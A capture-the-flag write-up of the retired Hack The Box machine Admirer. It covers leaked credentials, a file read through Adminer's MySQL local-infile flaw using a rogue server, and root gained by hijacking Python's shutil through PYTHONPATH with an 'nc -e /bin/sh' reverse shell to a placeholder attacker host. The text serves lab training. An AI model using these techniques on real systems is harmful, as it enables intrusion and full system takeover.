HTB Write-up | Admirer
Write-up for Adminer, a retired HTB machine.
Retired machine can be found here.
Scanning
As always, we start with some basic scanning, with tells us that the machine has:
- an
FTP
service (vsftp) running on port 21; - an
OpenSSH
service running on port 22; - an
Apache
web server running on port 80:
~ nmap -sV -sC -A admirer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-08 15:37 WEST
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.043s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
The web application is just a very simple image gallery, there's no authentication or anything that immediately stands out, so we start by exploring the disallowed entry (/admin-dir
) found during the scan.
We can't directly access the admin-dir directory but the robots.txt file has a little clue left to us by "waldo":
User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
With this small clue, we find 2 files:
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
Let's do a quick roundup of what we have so far:
- A list of users (with first name and email) that all seem to match the names of Big Bang Theory's characters (except Sheldon Cooper who is instead Waldo Cooper);
- Credentials to one email account (w.cooper@admirer.htb);
- Credentials to one FTP account (ftpuser);
- Credentials to one Wordpress account (admin).
Since we don't yet know of a way to access the email server or the Wordpress account, we try to explore the FTP service:
$ ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pass
Passive mode on.
ftp> ls
227 Entering Passive Mode (10,10,10,187,175,74)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 21:24 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 21:20 html.tar.gz
226 Directory send OK.
- The
dump.sql
file contains a dump of a MariaDB database called admirerdb. This DB contains only one table - Items - which includes the images and respective metadata that appear on the site, so nothing too exciting; - The
html.tar.gz
includes a bunch of files that look like a backup of the current web application. Here are some of the most noteworthy:
robots.txt
The backup version of the robots.txt file disallows /w4ld0s_s3cr3t_d1r
instead of /admin-dir
.
User-agent: *
This folder contains personal stuff, so no one (not even robots!) should see it - waldo
Disallow: /w4ld0s_s3cr3t_d1r
index.php
Contains the code for the main page of the web application, including some credentials for the admirerdb.
...
<div id="main">
<?php
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT * FROM items";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
echo "<article class='thumb'>";
echo "<a href='".$row["image_path"]."' class='image'><img src='".$row["thumb_path"]."' alt='' /></a>";
echo "<h2>".$row["title"]."</h2>";
echo "<p>".$row["text"]."</p>";
echo "</article>";
}
} else {
echo "0 results";
}
$conn->close();
?>
</div>
...
w4ld0s_s3cr3t_d1r/credentials.txt
There's a credentials.txt file which contains the same credentials as found on http://admirer.htb/admin-dir/credentials.txt and one additional cred:
[Bank Account]
waldo.11
Ezy]m27}OREc$
utility_scripts/db_admin.php
There's a small script that handles the connection with the database, which contains some credentials:
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
// Create connection
$conn = new mysqli($servername, $username, $password);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
// TODO: Finish implementing this or find a better open source alternative
?>
So, now we have 2 new credentials:
- one for a bank account (waldo.11);
- one for a mySQL database (waldo);
Going back to the deployed version of the web application, the w4ld0s_s3cr3t_d1r doesn't seem to be available anymore, but the utility_scripts dir does exist.
Of all the files on the backup, the admin-tasks page is the most interesting. This page allows any user to check very simple info about the system:
At this point I was a bit stuck but after reviewing all the previous clues I realised I missed something on the db_admin.php file:
// TODO: Finish implementing this or find a better open source alternative
After some googling, I realised that the "better open source alternative" to database administration is likely the Adminer tool - the name likeness was a dead giveaway.
And this brings us to the adminer.php page:
Exploiting Adminer
After trying (and failing) to login with all of the credentials previously found, I decided to search for Adminer vulnerabilities.
Turns out Adminer 4.6.2 is vulnerable to a file disclosure vulnerability.
So I installed and launched an instance of mySQL server on my machine and then added a new local user that can access this mySQL server from the admirer.htb host using the password 'password':
~ /usr/local/mysql/bin/mysql -u root -p
Enter password:
...
mysql> create user 'waldo'@'10.10.10.187' IDENTIFIED WITH mysql_native_password BY 'password';
Query OK, 0 rows affected (0.01 sec)
mysql> select user, host from mysql.user;
+------------------+--------------+
| user | host |
+------------------+--------------+
| waldo | 10.10.10.187 |
| mysql.infoschema | localhost |
| mysql.session | localhost |
| mysql.sys | localhost |
| root | localhost |
+------------------+--------------+
5 rows in set (0.00 sec)
In order to get this to work I had to add some additional configuration to my server ('/etc/my.cnf'):
[mysqld]
default_authentication_plugin = mysql_native_password
local-infile = 1
Note that the local-infile variable should be set to true as to allow us to load data from local files into the DB, which we'll need in a following step.
Once this is done, we can login as our new user from the Adminer client with password 'password'. Note that the server IP should correspond to the IP where you setup the MySQL server and that you need to specify the port if it's not the default (3306).
After logging into the system, we can access the SQL interface and can send commands directly to the machine.
Our goal is to load local files from the admirer.htb machine to a new DB in our local mySQL server.
So, first things first, we need to create a valid db with a table that will receive the data. Note that this table should have a field that should support big lines of text content.
mysql> create database test;
mysql> use test;
Database changed
mysql> create table tt (line varchar(1000));
Query OK, 0 rows affected (0.01 sec)
Also, you need to grant permission for your user to be able to access that data:
mysql> grant all privileges on test.tt to 'waldo'@'10.10.10.187';
Query OK, 0 rows affected (0.04 sec)
Going back to our SQL interface, the files most likely to contain valid credentials are index.php and db_admin.php, where we previously found outdated DB credentials.
To see the results we can either access the data directly on the SQL interface or go to our mySQL server and query the data.
~ select line from test.tt;
...
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
...
Finally, we have credentials for the admirerdb database and as it turns out waldo's SSH credentials:
ssh waldo@10.10.10.187
waldo@10.10.10.187's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Mon Jun 8 21:25:38 2020 from 10.10.14.95
waldo@admirer:~$
Useful Resources
- https://www.dev2qa.com/how-to-use-mysql-on-mac/
- https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
- https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html
- https://stackoverflow.com/questions/14779104/how-to-allow-remote-connection-to-mysql
Privilege Escalation
Now authenticated as waldo
, we started by running LinPEAS, which helped us find some interesting stuff:
[+] Readable files belonging to root and readable by me but not world readable
-rwxr----- 1 root admins 198 Dec 2 2019 /opt/scripts/backup.py
On the /opt/scripts/
directory we find the admin_tasks
bash script which is called by the administrative interface we previously saw.
At first glance there wasn't any obvious way to exploit this script but, as you can see below, there is a "Backup web data" option which executes the backup.py
script as root.
...
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
...
The backup.py
file, on the other hand, imports the make_archive
binary from shutil
, which we might be able to exploit by changing the path in which the Python script is executed.
!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
old ftp directory, not used anymore
dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
So, we need to:
- change the Python path to start with a directory that we control, e.g.: /home/waldo/.abc/;
- create a shutil.py file inside /home/waldo/.abc/;
- add a make_archive function to shutil.py that uses the same signature (3 fields) but instead of archiving the web content returns a shell as root;
Let's start with our mock shutil.py
:
waldo@admirer:~$ nano /home/waldo/.abc/shutil.py
import os
def make_archive(a, b, c):
os.system("nc [attacker_ip] [attacker_port] -e '/bin/sh'")
waldo@admirer:~$ chmod +x /home/waldo/.abc/shutil.py
Don't forget to create a listener on the port you specify above:
nc -l [PORT]
Now, all we need to do is change the python path on the call for the admin_tasks script:
waldo@admirer:~$ sudo PYTHONPATH=/home/waldo/.abc/ /opt/scripts/admin_tasks.sh
[sudo] password for waldo: &<h5b~yK3F#{PaPB&dA}{H>
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
And we receive a shell as root which allows us to print the root flag!
Hope you enjoyed it :)